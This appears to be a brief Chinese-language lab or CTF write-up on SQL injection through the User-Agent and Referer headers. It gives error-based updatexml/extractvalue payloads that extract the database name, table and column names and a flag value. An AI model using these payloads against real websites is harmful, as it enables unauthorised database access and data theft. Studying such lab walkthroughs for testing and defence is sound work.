可以看到源代码只是对name和password做了过滤,但是全局变量user-agent是可控的
bp抓包修改user-agent头
1' and extaclvalue(1,concat(0x7e,(select database()),1)) and '
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1),'2') # ' //爆表,由于使用extaclualue会被拒绝执行,还是用会updatexml吧
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='head_error' and table_name='flag_head' limit 0,1)),1),'2') # ' //列名
1' and updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 0,1)),1),'2') # ' //字段
第二关和第三关根据源码换成Referer头即可,payload一样